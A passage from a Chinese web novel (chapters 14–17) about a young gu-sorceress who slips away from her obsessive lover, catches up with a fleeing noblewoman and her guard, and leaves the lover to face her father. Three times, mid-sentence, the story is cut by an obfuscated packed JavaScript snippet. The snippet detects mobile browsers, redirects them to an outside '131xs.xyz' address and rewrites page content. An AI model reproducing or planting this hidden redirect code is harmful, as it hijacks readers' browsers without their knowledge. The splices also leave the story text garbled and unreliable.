“我阿爹不是早说过了吗……你体内那么多蛊,能活成这样已是不错了,怎么可能还能留下子嗣。” 这才是她愿意和谢歧春风一度的原因——不会有什么后续的麻烦事要处理。 当然,她甚至没考虑过让他当长久的情郎。 “师父……连这个都告诉你了?”谢歧的脸色有点不好看。 “我偷听来的。”晓山青若有所思,“你不会很在意这个吧?” “……我不在意。”谢歧顺着手里的湿发,咬牙道,“阿青不在意我就不在意。” 晓山青手上的动作停了停,若无其事道:“哦,是嘛,那就好。” “也不知道阿爹什么时候到家,应该也就这几天了。”她托腮叹气。 “嗯。” “等他回来……” 谢歧接上了她的话,“等他回来,就告诉他我们的事,然后我们就去阿婆那里求同心蛊……” “在山神娘娘座前立誓,”他说得极其平淡,好像是在说要去借一点柴火或者借一把锅铲一样,“我们从此同生共死。” “就算以后没有孩子,你也不会背弃我的对吧,阿青。”他轻轻地说道。 晓山青:“……” 她手一抖,摔掉了手上的小药瓶。 谢歧的手握过来,帮她捡起了瓶子,又塞到了她手心,“阿青?” “你是不是想太多了。”晓山青无言地转头看他:“你会被我阿爹打死的。” “我不怕……只要阿青能一直看着我。” “可是我怕,”晓山青很果断地摇头,“我也会被我阿爹打死的。” “那我们就死在一处。”谢歧歪头看着她,“然后葬在一起,生同衾死同穴。” 死什么死,葬什么葬,死在一起能干嘛?化个蝶吗? “不要,你自己去死吧。”晓山青甩掉他的手,“烦不烦。” 她撑着头郑重地思考了一下,“我不想告诉阿爹我们的事情。” 谢歧无声地笑了笑。 “阿青,可是你现在身上全部都是我的味道……” 他拽了拽领口,露出了一道指甲抓出来的红痕,他的体质作祟,快消得差不多了,但在他冷白的皮肤上依旧醒目。 晓山青不由自主地想起自己的脖颈与手腕上密密麻麻的那些……恐怕不会像他一般好得那么快。 她实在是太没有经验了,居然就这样任由他在自己身上放肆地留下这些东西。如果还有下次,那应该按偷情的法子来。 “……我们的事真的能瞒得住吗?” 晓山青:“……”一肚子坏水。 她抓住药瓶,起身就往里间走。 能好一点是一点吧。 ……反正陆瑶光已经离开,她也要准备出发了。 14. 鬼车 晓山青等了阿爹三天,仍然没有等到他。 这不是什么大事,阿爹的行程从来不是固定的。若是一路顺利,或许明日天明就能见到他;若是遇到了什么绊脚的事,晚回来几日也是再正常不过的。 唯一的问题是,因为阿爹没回来,谢歧在这几日里几乎肆无忌惮。白日里寸步不离地跟着她就算了,入夜后…… 烦得她已经不想解决问题了——她更想解决谢歧。 晓山青坐在小几前,面前放着十余个大大小小的瓶瓶罐罐。 她要带走的东西其实早早就预备好了,唯有这些精心豢养的蛊让她有点拿不定主意。趁着这几日不能出门的功夫,她把这些蛊都拿了出来。 蛊与人一样,各有各的脾性。有的喜阳,每逢有太阳的日子就会主动出坛;有的喜阴,喜欢呆在坛子深处,怎么请也不肯出来;有的会听虫哨而动,有的唯有蛊主的血才能驱使;子蛊与母蛊又有不同,子蛊天然会亲近母蛊,保护母蛊所在,母蛊若有所失,子蛊便也会不成气候。 适合被带走的不多,能带到长安的更少。 临行前晓山青又多了一层顾虑,万一阿娘不喜欢这些毒物呢?她也不能真的把这些东西都丢掉吧? 她可以当一个陆瑶光那样的乖孩子,但骨子里,她绝不是循规蹈矩、安分守己之人。 因此她在耐心地挑选,哪种更乖,哪种更毒,哪种杀人最快最无形,哪种藏起来时最隐蔽——当然,这其中的无论哪个,折磨起人来都会很痛苦。 “白仙去哪儿了?好久没有看到白仙了。”谢歧坐在她身边,忽然问道,“怎么突然把蛊拿出来了?” “今日七月初十,要把长天蛊带出去晒月亮。”晓山青手上动作没停,一句话轻飘飘地带过了这件事。对于一个蛊师来讲,检查自己的蛊实在是再正常不过的事了,实在不必遮遮掩掩。 “至于白仙嘛,”她回头看他,“自从那天晚上被你一把丟到窗外后就没再回来过,也许回来了但见你在这儿,又吓走了……它其实怕你得很。” 手里的黑尾蝎挣扎着翻了个身。 晓山青翻开的蝎尾,检查了一下它的毒腺和鼓起的腹部,显然它很快就要产卵了。她只好把它放回坛子里的巢穴,又觉得实在可惜——这只是带不走的了。 她想打开下一个坛子,但谢歧又在旁边缠着她说话:“……你理理我好不好,阿青。” 他又开始叫她的名字了:“阿青,阿青,阿青……” 晓山青相当敷衍地“嗯”了几声,甚至懒得去看他。 被冷待的谢歧安静了一会儿,半晌后忽然幽幽地开口: “阿青,你不是想知道……” 他的声音像一片雪飘落:“你不是想知道……陆瑶光为什么能躲避虫蛇,为什么最后又失去了这个庇护吗?” 晓山青的手顿住了。 “啊,这个啊,我当然想知道。”她饶有兴趣地抬起了头,“我喜欢秘密。” 她对一切秘密都感兴趣。 她年幼时就是这样,因为好奇心悄悄尾随着谢歧翻越山岭,来到另一个陌生的苗寨,然后看着他下毒、杀人、放火……差点把自己的小命也一并交代在那里。 好吧,这实在不是一段很愉快或者很值得回忆的记忆。 而这时谢歧已经理所当然地向她张开了双臂:“要抱抱,阿青。” 晓山青:“……” 晓山青匪夷所思,晓山青难以置信。 “……谢歧,你原来是这样的吗?” “我原来是怎样的?”他定定地看着她,一动不动,像是笃定她会过来。 不知道。可能是那个血肉模糊爬出来的怪物,可能是那个天生就懂“以牙还牙,以眼还眼”的小疯子。 她每每想起那样的谢歧,都会顺带着想起那时候满鼻腔的血腥味和狂跳的心——谢歧可不止掐过陆瑶光一个。 那时候她告诫自己千万要离他远一点,可从来没有想过谢歧会变成这样。 她无法形容这个谢歧。晓山青想。 但她清楚地知道,这个谢歧,其实非常像梦里的那个谢歧。 他似乎卸去自己的伪装,像一只刺猬收起了尖刺,露出了自己柔软的肚皮。 ……这对她来说难道不好吗?她可以轻易地骗过他,也可以轻易地获得自己想知道的东西。 晓山青想了想,放下手里的东西扑了过去。 额头撞在硬邦邦的胸口,撞得谢歧一声闷哼。 “阿青,痛。”他一边这样说着,一边把下巴搁在她的发顶,满足地收拢了手臂。 晓山青哼了一声,什么也没说,只是抬头看他。 ——快说! 谢歧的手又紧了紧,同时他的目光像水珠一样滚落到她额边蓬松散乱的发,她乌润润的眼睛,她轻抿着的唇。 今日因为他的缘故,她又起得很迟,因此只套了一件寻常的外袍,没佩戴那些叮叮当当的银环银玲。宽松的袍子包裹着她的身躯,显得窝在他怀里的少女小小一只,像一只毛茸茸的山雀。 他试探性摸了摸那留在耳垂上的环痕,有点心猿意马地问:“能不能……先亲一下?” “……”山雀不仅抬头瞪了他一眼,还想啄他一下。 好吧。 谢歧有点遗憾地低头亲了亲她的额角,“……她有一块玉,黑色的,这个你知道吗?” “我怎么可能知道?”晓山青漫不经心地答道。 她知道。 那天晚上陆瑶光说了点什么关于这块墨玉的事,语焉不详的,但她确实记住了。 “她确实藏得很紧,我原也以为那只是一块玉佩。”谢歧说,“可是那天我……” 他停顿了一下,跳过了什么继续道:“那块玉恰好碎成了两半,露出的断面不仅干枯如焦黑的珊瑚石,还布满了蜂窝一样的孔洞。” “不能杀蛊,但能惊蛊。”谢歧的眼神微微一闪,“阿青,你知道那是什么了吗?” “……鬼车卵?”晓山青扬了扬头。 谢歧“嗯”了一声:“是鬼车卵。” 鬼车,传说之中九头的鸟。春夏之间,稍遇阴晦,则飞鸣而过,岭外尤多*。鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488516|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车卵则是一种黑色的药材,生于绝阴之地,质如玉如铁,形如茧如石,常人难辨。 晓山青惊奇地想,这等少见的东西,怎么会被当做一块玉挂在陆瑶光的脖子上。又转念一想,天下精奇之物皆汇于长安,陆瑶光这等家世,有这样的东西似乎也不足为奇。 至于会不会对她的身体有什么伤害……那个赠玉给她的护国寺和尚应当懂得比她多吧? “可是鬼车卵碎成两半并不会影响药效,那东西只要还在她身上,你的蛇又怎么能……”晓山青继续追问。 “因为不在她身上,”谢歧冷冰冰地哼了一声,“鬼车卵掉到了地上,最后被那人带走了一半。” 晓山青:“……” 显然,“那人”指的不是陆瑶光,而是宋寅。 “你手上不是还有另一半?”她随口安慰道。 想来那天早上,他特地回去了一趟,是特地去捡另一半鬼车卵去了。 “本来全是我的,现在只有一半了。”谢歧语气低沉,“我还得拿去给阿婆看看,说不定能压制我血里的蛊毒……” 晓山青有些狐疑地想,他原来有这么在意这事儿吗?不会真的因为她说他“没办法有子嗣”所以耿耿于怀吧? ……算了,搞不懂。 “那你快去,”她想了想,“顺便帮我挖一坛阿婆的桂花酒来,挖得小心一些,别伤了旁的酒坛。” 谢歧倒是没拒绝她,只是把她抱上来了一点,轻轻咬了咬她的耳垂,“我去向阿婆讨一讨同心蛊好不好?” 如果我想再多迷惑他几分,她暗暗地想,那么我该说“好”。 但事实上,她说的是—— “不好。” “同心蛊进你的身体能不能发挥效果还不好说,总不能最后只有我吃亏?”她闭了闭眼。 她知道,同心蛊是能发挥作用的,毕竟梦里的谢歧就是这么死的。但是没关系,因为谢歧不知道。 “快去,我想喝酒。”晓山青推了推他。 “……桂花酒?” “桂花酒。” “你要等我回来。”谢歧说。 晓山青:“……” “谢歧,你放心地去。”晓山青拖着调子哼哼,“我暂且还找不到第二个比你好看的情郎。” 也是。她对他唯一称得上喜爱的地方大概只有这张皮囊。 谢歧想,还好,他还有这张脸。 刚刚还在他怀里的少女已推着他到了门口,然后靠在门边上朝他招了招手。 他凑了过去,便看到少女踮起脚,对他附耳低语:“要最下面那坛,找不到不许回来。” 谢歧忍不住勾了勾嘴角。 走出去了几步,他又回头看了看她。 少女不仅没站直,还有点无聊地勾着小腿晃,见他还在看她,有点奇怪地冲他笑了一笑。 阳光落在她的发丝上,她的皮肤白得清透,黑发如瀑,目光里好像藏着春天的潮水。 他想,他手里还有她要的酒。 她可能会困,可能会想出去走走,但总归会等他回来的。 15. 恶意 晓山青花了一刻钟的时间出寨,又花了一刻钟的时间拿到了自己备好的行装。 她站在山腰上往前望。远处是山,再远处还是山,碧色的江卧于其中,好像一条沉眠的大蛇。 如果她手上有一张精准的舆图,那么她将会知道她距离她梦里的长安还有足足几千里。她需要自南向北,翻越武陵山地,西渡乌江,顺流而下,借嘉陵水系,再转金牛官道,自梁州进中原——那么长、那么远的路! 她要翻过一座一座的山,要渡过一条一条的河,才能站在那片曾见证群雄逐鹿的沃土。她既然要往长安去,那必然得背离她的故乡。 晓山青回头望了一眼寨子所在的方向。 其实看不见什么东西。但她知道那里有什么。她的背后是月亮山,月亮山的山顶有一潭永不干涸的甜水,在苗语里它的名字是伸手摘下月亮的地方,月亮升上来的时候,天上一个月亮,水里也一个月亮。再远一点的是绣球山,六娘山,阿宁山……这些山上的雨水汇聚成一汪翡翠般的湖泊,圆圆的湖面总是像磨得光亮的镜子,倒映着天光。每逢晴日阿姐们会在湖边唱着山歌浣衣,某些闷热的午后,又总会有孩子在湖的浅滩踩水。 再看一眼吧,阿青!再看一眼! 这山、这湖就这样轻轻地唤着她的名字。 再多看一眼,再多呆一刻——或者留下来吧,留下来吧! 它们就这样无声地、静默地凝望着她。 晓山青深深地、深深地吸了一口气。 她就带着这样的呼唤,这样的凝视,毫不犹豫地走入了广袤的山林。 * 高大的树木挡住了斜照的光,树下越发显得昏暗。晚上的林子和白天不一样,瘴气慢慢地升腾起来,树下的路是不能走了。 宋寅只能停下脚步,选了一棵古树,把背上的少女放在粗大的枝桠上,给她喂了一点水囊里的水。 “小姐,山路难行,今夜……”他低声道。 “我,我没事。” 少女像木头人一般低着头坐在那里,艰难地一小口、一小口吞咽。颈后的发丝垂落下来,露出了她纤细脖颈上触目惊心的掐痕。 枝叶间忽地响起一声鬼泣般的啼鸣,一只褐色的大鸟从树后飞出。 她被惊得脸色煞白,慌乱地抓住了宋寅的胳膊:“他……他追来了吗?” “是夜鸮,林子里常见的鸟,喜欢昼伏夜出,不会伤人,”宋寅伸手接过水囊,仔细地放回了腰间,轻声安慰道:“小姐放宽心,我们已走了三日,那人应当不会再追了。” ——可他忽然按住了腰间的匕首。 “放心,他没有,但我追来了。” 树下有一个轻灵灵的声音说:“你们留下的痕迹可真多呀。若是我手上有一只机敏的猎犬,你们再多跑三天,恐怕也没法跑出这里。” 陆瑶光呆呆地看向树下的阴影。 她亲眼看到那丛树里窜出去一只她从未见过的可怖大鸟,但她就算把眼睛睁得更大一点,也绝不会发现那里还藏着一个人——直到她开口说话。 可那里确实立着一个人影。 她穿了一身黑色的衣衫,从发到颈再到手足,都挂满了小巧的银饰,甚至连耳边都戴着两枚闪着光的银铃。当她站在那里时,这些小东西没有发出一点声响,而等她缓步走出来时,陆瑶光才听到一些轻微的簌簌声。 那是银饰碰撞发出的声音吗? 陆瑶光后知后觉地意识到了或许不是。 她听过太多次这种声音了。 在那个少年身边,在他屋子里的各种陶土坛子、竹篾编织成的器具里,在那可怕的晚上,让她几乎要疯过去的虫潮里。 然而这次她还来不及恐惧,那个影子已经敏捷地翻身上树——她的脚步轻得像无声的新雪,只是这样一跃,便如同轻盈的羽絮一般落到了陆瑶光身旁。 树微微地晃了晃,但她很轻松地站稳了,还朝他们笑了一笑。 宋寅背着陆瑶光,不仅夜间不能赶路,白日里也走不快。而晓山青独自一人,算得上轻装疾行,仅仅花了半天就赶上了他们三天的脚程。 “……阿青姑娘?” “许久不见。”晓山青笑道。 宋寅似乎有些如释重负地呼出了一口气。但他并没有说多什么,只是默默地收起了匕首:“我得去找一找干净的水源。” 晓山青“哦”了一声,从袖子里摸出了正嘶嘶地用蛇信表达不满的白仙给他:“快去快回。” 宋寅不得不小心翼翼地接过了白蛇。正准备走,又被晓山青出声叫住了。 “等等,先别走。”晓山青伸手过去在宋寅的肩膀上随意地拍了两拍,才示意他好了:“行了,走吧。” “……”宋寅看着自己在黑衣上不怎么显眼的粉尘,顿了一顿,还是问出了口:“这是什么?” “捏碎了的避虫丸,它能让追踪的蛊察觉不到你的存在。”晓山青解释道,“以防万一,还是谨慎点好。路上的痕迹我都清理干净了,但你身上可能还有什么我不知道的东西。” 她的目光又转向了陆瑶光,“那半块鬼车……半块墨玉还在你家小姐身上吗?” “还在。”宋寅迟疑道,“那玉是我们小姐自幼带在身上的,有什么问题吗?” “没什么问题,谢歧想要的都是好东西。”晓山青摇摇头,“在出苗疆前最好不要摘下来。” “好。”宋寅略一思忖便隐约明白了其中关窍,他轻声道,“我明白了,接下来有劳阿青姑娘照看小姐了,我去去就回。” 他抓了把湿泥勉强打湿了蒙面的黑巾,便匆匆跳到了树下。走了几步,又忽然回头,略显局促地问道:“阿青姑娘,你脖子上是被蚊虫咬了吗?” 还用手比划了一下:“好大的一块包啊。” 晓山青:“……” 她从树上扯了一个还绿得发硬的果子往他头上砸。 砰地一声。 果子砸出了一声清脆的响。 * 宋寅走了。树上只有她们两人的时候,刚刚还魂不守舍的陆瑶光反而紧张了起来。 她先是低头啃了一口宋寅最后给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488517|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的、不知道是什么动物的粗糙肉干。没啃动,只能拿手费力地掰下一块来,放进嘴里咀嚼,再慢慢地、极其艰难地吞咽。 吃着吃着,她的眼泪就掉了下来。 越掉越多,越掉越多,像断了线的珍珠串。 她呜呜咽咽地开口:“你是……你是……特地来看我笑话的吗?” 晓山青愕然地张了张嘴,又默默地闭上。 她以为陆瑶光是对谢歧情根深种,都被掐成这样了还有余情未了,才哭得那么伤心的! 好吧,现在想想陆瑶光应该和宋寅一样,并没有看懂她脖子上的这个痕迹……但是,但是!她绝没有促狭到“来看她笑话”这个地步! “我……”晓山青想解释,可是陆瑶光没给她开口的机会。 她呜呜地哭着,眼眶红得像兔子:“从前……从前我在诗会上输了王家阿姐一盒昆山玉的棋子,呜……二伯家的兰娘便从白马街追着我笑到了五昌坊……呜呜……她说……要全天下都看光了我的笑话……” 晓山青抓了抓头发。 ……虽然不知道这陆二伯家的兰娘是谁,但这个小姑娘确实是有些过分,不知道归家后有没有挨一顿父兄的打——多半是挨了的。 ……但就算是这个兰娘嚷遍了全长安城,怕也算不上“全天下”皆知。 “她骗你的,你看,至少我不知道这件事。”她实话实说。 “现在……现在你知道了!” 陆瑶光把哭得脏兮兮的脸抬起来瞪了她一眼,又埋下头去继续哭:“我原以为……原以为他和那些……那些山匪不一样。我只是想好好地、好好地道个别……呜呜……我知道我要走了,我没想到他会这样……” “……阿青,阿青,”她浑身剧烈地颤抖起来,“他说我不该带这条花带来的,他说我的手弄脏了这条花带……怎么会这样!……他就是一个疯子!他与那些要绑了我,要向我外祖索要金银的山匪又有什么分别?” 她好像并没弄明白谢歧为什么会骤然对她发难,只是把这世间所有的恶意都归成了一类。晓山青想。 但其实并没什么错。因为对于陆瑶光来说,仅仅因为“她拿错了花带”就对她动手的谢歧和因为“对金银珠宝起了贪念”而绑架她的山匪并没有什么差别。 谢歧对她的“恶意”并不比那些山匪少——她在某些方面实在愚钝,在某些方面又惊人地敏锐。 “……如果你忘不掉谢歧的话,我可以帮你。”晓山青想了想,又从袖子里摸出一只白蛛,“这蛛又叫忘忧蛛,被咬的头三日是美梦,后三日是噩梦,再三日醒来,前尘往事尽忘,浑然不知今夕是何夕……” 陆瑶光呆滞了一下,紧接着发出了低低的尖叫:“你的袖子里都是些什么!!!” “我以为你……”晓山青眨眼。 “……谁说我还记着他!我早……我早忘掉了!” 晓山青隐蔽地弯了弯嘴角。 逗她玩的。 这确实是只忘忧蛛——因为它的毒可叫人于梦中暴毙,而死人,从来是没有烦恼的。 16. 死寂 谢歧回来的并不算慢,但还是有些晚了。 毕竟娘娘庙是在后山,就算他走得再快,也没办法这样迅速地完成往返。 更何况他还要给她带一坛桂花酒。 他把那半块鬼车卵交给了阿婆,在等阿婆去找古籍的时间里替阿婆去看了看蛇坑里的蛇蛊,最后才去挖酒。挖得小心翼翼的,唯恐酒被锄头磕碰到了一点——最后他还是丢了工具,亲手把这坛沉甸甸的酒从泥土里捧出来。 深褐色的陶坛沾满了湿泥。谢歧接了一点山泉水,仔仔细细地洗了洗手,顺带着也洗了洗坛身上粘的泥。 酒香从泥封边缘溢出来一点。他忽然就想起了三天前的那坛。 说是桂花酒也不尽然,因为他往里面灌了半坛更烈的酒。那酒液在他嘴里明明那么辛辣苦涩,可渡到她口中后忽然就变得无比甘甜。 像是什么琼浆玉液,诱得他一次又一次追过去品尝。 他在沁凉的水中舒展了一下十指。 这双手线条流畅,指骨修长,带着玉石一样的色泽。 ……今天或许可以再换种法子取悦阿青。他忽然这样想到。 即使加快了速度,谢歧再次推开那扇虚掩着的门时天色已经暗了。 山边已泛起了云霞。归巢的鸟雀掠过天空,飞入山林。有风轻轻吹动了一下挂在门口的帘子,无端在这个夏日里带来了一丝寒意。 他莫名觉得有些心悸。 “阿青?” 没有回应。 屋子里暗得很。 “……阿青?”谢歧放下了手中的酒,往前走了几步。 他的脚步在木地板上敲出了让人心焦的回响。除此之外,还是一片安静。 谢歧突兀地停住了。 也许她在后屋安置她的蛊?也许她只是困倦了,去了卧房?也许她是藏在哪里,想跳出来吓他一跳? “……阿青?”他轻轻地唤道。 他推开了一扇又一扇的门,但无论哪一扇的背后都没有他要找的人。 没有回应。没有回应。没有回应。 最后,他停在那间卧房的门口。 这里的一切布置都没有任何变化,一如他走前的模样。 镜匣未被好好地合上,泄出一缕冷冷的镜光。小几是歪着的,上面还散乱地摆着一些空的瓶罐。铺在地上草席卷起了一个小小的角,连她最喜欢的那个垫子都仍然微微地凹陷着,好像主人忽有急事,离去不久。 他站在空荡的房间中央,听着自己急促的、孤单的呼吸声,忽然生出了一种不好的预感。 * 谢歧的人生中有无数段死寂的时刻。 从他的降生开始。 没有人知道是谁把他带到世界上。在寨子里多的是无父或者父不详的孩子,而无母的孩子往往被视为不吉——若是连十月怀胎、这样辛苦地生下他的女人都不愿意接纳这个孩子,那他才是真正的来历不详。 这个来历不详的孩子根本不像个婴孩。他被饿得皮包骨头,奄奄一息,但他就睁着那样一双诡异的眼睛,仿佛没有一点哭泣的本能——他就这样沉默地注视着所有人。 所有苗人都说他是“洞支奇”的化身。那个因为被神剜去了喉咙而无法说话、无法申诉的鬼魂,在山野之间日夜游荡的怪物!它找到了这个不被山神庇护的躯壳,要把不幸与厄运带到他们的苗寨! 他被叫做“洞支奇”,被人随意地打骂、惩戒、诅咒,每个人都希望他夭折在幼年。等到寨子里最后一个心善的、愿意给他一口饭吃的老人埋进了黄土,他就被当成了饲料丟进了蛇坑里。 那是一个深达一丈的天坑,底部层层叠叠的蛇骨上盘踞了一条黑色的蟒。当那双毫无温度的竖瞳锁定他时,他的身体里爆发出了可怕的、求生的本能。就是靠着这条蟒的血与肉,他在那里活过了六日。 第七日的早晨,他看到把他丢下去的那几个人在冷冷地看他。他们的嘴唇在开开合合地蠕动,却没有发出一点声音。 不安与不详的阴云笼罩了他。第一次,谢歧感受到了“死寂”。 我要活。他在高热带来的失聪与濒死感里想。 很多人都想让他死。但他想活,没有人比他更想活。 他没有在这场高热里死去,却又被人拖去喂蛊。冰冷的死亡前奏又数度降临到了他身边。 他不想腐烂在这血肉泥潭里。只要能活下来,只要能爬出去,他什么都可以失去。 ——那个躺在那里、面目全非的小怪物这样许愿到。 拿走我的血,拿走我的肉,拿走我的骨。 如果你真的还在这里游荡的话,无法瞑目的洞支奇。 拿走我现在拥有的一切。如果你觉得我能支配的东西少得可怜,那把我未来所有的那些也一并拿走吧。 ——洞支奇听到了他的请求。 祂指使第一只蛊爬进了他的心脏,接着是第二只,第三只。他的每一处孔窍都开始渗血,每一寸皮肤都逐渐崩解,但神迹般地,他的身体开始被慢慢修复。 他如同一块被反复捶打、淬炼的生铁,血肉模糊,无法动弹。忍耐着这皮肤破裂又愈合、肌肉豁开又生长的痛苦,在毁灭与新生的边缘挣扎。 他要活下去。他可以失去一切,付出一切。他曾经这么告诉自己。 ——可为什么十年后的谢歧站在空荡的房间中央,忽然发现自己无法再接受失去了呢? 为什么这一次,比从前的每一次、每一次,都让他无法忍受? 他看着她往日里挂蛊哨的地方。 那里什么也没有。只有一根孤零零的竹钉,在暮色里投下长长的、嘲弄般的影子。 他微微向后退了一步。 “啪。” 是什么东西倒下的声音。 谢歧低头看过去。 原来是他带来的那坛桂花酒被他踢倒了。酒液在他脚边汇聚成一个小水泊,倒映出他那张仓惶的脸。 像一条丢了魂的狗。 他忽地无声地笑了笑。 哪儿那么容易离开他呢,阿青? * 谢歧有一万个法子可以找到晓山青的痕迹,但同时,晓山青也有一万个法子可以摆脱他。 这是一场时间的游戏,而晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488518|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山青已经站在上风。 谢歧转身,却突然僵在了原地。 门外着一个很俊的男人,身着一件素白长衫。山风拂动他宽大的衣袖,他负手而立,正若有所思地看着他。 “……师父。”谢歧的喉咙忽然有些发紧。 “吃过了吗,阿歧?”男人不疾不徐地放下了背后的竹篓,回头问谢歧。 谢歧有点僵硬地摇摇头。 “好,那我们边吃边聊。”男人微笑着说。 晓山青喜欢坐在小几前用饭。她最不喜欢规矩,在她阿爹出门的日子里,她更是无拘无束极了。谢歧跟着她,差点忘了屋子里还有这样一张方正的桌子。 两人面对面坐在桌边。桌上两碗热气腾腾的面条。面汤澄澈,面上撒了翠绿的葱花,旁边还卧了一个鸡子。 “还是仓促了些,将就着吃。”男人拿竹筷拨了拨素面,“我的手艺平平,不过和阿青比,还算能入口了。” “……师父的面很好吃。” 谢歧机械地拿起筷子。他实在有些食不下咽,但还是囫囵往肚子里塞了几口。 “阿青怎么样?我走的日子里有没有好好吃药?” 谢歧含含糊糊地“嗯”了一声,几乎不敢抬头。 男人看着他食不知味的样子,微微扯了扯嘴角。 “不急,你先吃,吃完后再告诉我近日来寨子里发生了什么事。”他的微笑没有减一分,语气依然徐徐如暖风:“还有……你是怎么哄骗到我女儿的。” 谢歧:“……” 他乖乖地放下了碗筷,跪到了桌前:“……都是我的错,但凭师父责罚。” “是吗?我看未必全是你一个人的错,”男人没有放下筷子,摇了摇头,“我了解我的女儿,没有人能逼迫她接受她不愿意做的事情。” 但他的目光仍然像刀一样扫了过来。 “但是谢歧,没有一个父亲能在碰到这种事情后,还能心平气和地轻轻放过。” “跪着吧。”他说,“我既是师,又是父,这样罚你,你可有异议?” “可是,师父……”谢歧膝行了几步,又生生停在了那里。 他不知道自己该说点什么。 “我的女儿是只飞鸟,谢歧,你要把她关在你的牢笼里吗?” 一轮圆月正从山巅缓缓升起。月色泼洒在地面,窗的影子也落在了地上。男人举着刚刚点燃的油灯,静静地回眸看他。 谢歧的脸色瞬间变得惨白如纸:“我没有……” “是吗?那就不用急着去找她,你知道她会飞到哪里去。” 男人已经走进了后室,黑暗中似乎传来了他低低的笑声,“你得知道,我的女儿还没有喜欢你到那个地步,否则她绝不会把你丢在这里。” “阿歧,跪到天亮之后再来找我。若是那半块鬼车卵真能替你再压下几分血里的蛊毒,我就点头放你出苗疆。” 谢歧的心猛烈地跳了起来。 他张口欲问,但最终却没有将话问出口。 他已经想通了——怪不得今日他去找阿婆的时候,娘娘庙的桌案上放着两个茶盏。 17. 咀嚼 穿着黑衣的少女走在前面,浓郁的绿色几乎要把她纤细的背影完全吞没。 在最难走的路段,她放出了她的蛇充当“斥候”的角色。有些蛇飞快地游入了丛林,消失不见,有些则跟在她周围,十尺开外的距离,枝叶之间隐约可以看见鳞片一闪而过。 她保持着长时间的沉默与警惕,似乎永远把注意力放在前方。偶尔她会停下来,然后带他们稍微改变一下方向,绕过一些飞着成团蚊虫的沼地,或者穿过罗网一样的藤蔓走到另一条土径。 她好像无比清楚这片土地的伪装。宋寅想。 她知道哪里的腐叶覆盖着湿泥,哪里的土丘下藏着蚁穴,知道哪块岩石下会有一汪小小泉眼。每当她带着他们绕过腐朽的树根,绕过灌木后的荆棘,绕过不知什么野兽的巢穴,宋寅都会忍不住去猜测——她到底是怎么在这样复杂的山林里辨认出反向,再找到这样一条已经算得上捷径的路线的? ——如果他身边还有第二个苗人,那么或许他的问题会得到解答。 因为她天生是这片土地的宠儿。所有寨子里的人都会这样回答他。 她认识这山野里的每一头野兽,她亲眼看过每一只鸟雀的出生。她从不惧怕沼地,不惧怕虫蛇,那样的毒物总是驯服地趴在她的指尖,她简直是个天生的蛊师! 但若是晓山青自己来讲——她只会说自己没有这般大的神通。 呵。就算是她认全了这林子里所有的鸟,所有的蛇,所有的毒虫,也没办法从这里大海捞针般找出荆州杜家的人——鬼知道他们到底在哪儿! 于是已带着宋寅和陆瑶光从苗疆边缘向外走了一整天的晓山青放弃了。 她止住了脚步,回头看了看宋寅:“陆姑娘怎么样了?” 宋寅跟着她停了下来,哑着嗓子答道:“……自昨夜起便高热不退。” 陆瑶光趴在他的背上,额头上覆着一块打湿的白布。高热使少女的面颊泛起了不正常的潮红,她呼吸急促,原本红润的嘴唇几乎干得要开裂。她闭着眼睛,不知是疲于睁眼还是已经昏睡过去。 晓山青摸了摸她的脉搏,把手背搭在她的额头,果然滚烫一片。 “受了惊吓又林瘴侵体,她快撑不住了。”她收回了手,平静道,“你再给她喂些水吧。” 宋寅小心地放下了背后的陆瑶光,让她靠在一棵古木的根系上,解下了水囊凑到了她嘴边。 被唤醒的陆瑶光勉强吞咽了几口冷水,又被呛得咳嗽了起来。晓山青不得不扶住她的肩膀,免得她又软绵绵地倒下去。 喂过了水后的宋寅在原地犹豫再三,最后还是咬了咬牙开口问道:“阿青姑娘,你还有没有法子……” “等等……你怎么会觉得我还有行医的本事?” 晓山青奇怪地看向他:“你也见过我身上的东西,我全身上下的东西哪一样还能救人?” 她忽然想起了自己似乎确实是救过宋寅:“……哦,你倒是被我救过一次。” “那还是因为你命硬。我的法子没办法用在陆姑娘身上,纵使我有心要救,她的身体也承受不住。” 她从水囊里倒出一点水,重新打湿了白布,帮陆瑶光擦了擦手心与额头。 这几日赶路,少女身上的裙子已经被污泥浸透了,脸上也脏得可怕。晓山青顺手帮她抹了抹脸,抽手时不小心碰到了她颈上淤青的掐痕。她几乎是惊弓之鸟般地蜷缩起了身体,喉间溢出了一道带着泣音的哽咽。 “……别……别碰我。” 像是被困在了什么梦魇里。 